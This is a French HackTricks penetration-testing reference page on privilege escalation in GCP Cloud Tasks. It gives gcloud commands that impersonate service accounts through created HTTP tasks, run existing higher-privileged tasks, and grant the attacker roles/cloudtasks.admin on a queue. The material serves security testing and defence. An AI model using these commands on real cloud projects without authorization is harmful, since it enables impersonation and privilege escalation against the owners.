GCP - Cloud Tasks Privesc

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Un attaquant disposant de ces autorisations peut imiter d'autres comptes de service en créant des tâches qui s'exécutent avec l'identité du compte de service spécifié. Cela permet d'envoyer des requêtes HTTP authentifiées aux services Cloud Run ou Cloud Functions protégés par IAM.

bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com

cloudtasks.tasks.run, cloudtasks.tasks.list

Un attaquant disposant de ces autorisations peut exécuter des tâches planifiées existantes sans avoir les autorisations sur le compte de service associé à la tâche. Cela permet d'exécuter des tâches qui ont été précédemment créées avec des comptes de service à privilèges plus élevés.

bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>

Le principal exécutant cette commande n'a pas besoin de la permission iam.serviceAccounts.actAs sur le compte de service de la tâche. Cependant, cela ne permet que d'exécuter des tâches existantes - cela ne donne pas la capacité de créer ou de modifier des tâches.

cloudtasks.queues.setIamPolicy

Un attaquant avec cette permission peut s'accorder ou accorder à d'autres principaux des rôles Cloud Tasks sur des files d'attente spécifiques, ce qui peut potentiellement conduire à roles/cloudtasks.admin qui inclut la capacité de créer et d'exécuter des tâches.

bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin

Cela permet à l'attaquant d'accorder des autorisations d'administrateur Cloud Tasks complètes sur la file d'attente à tout compte de service qu'il contrôle.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks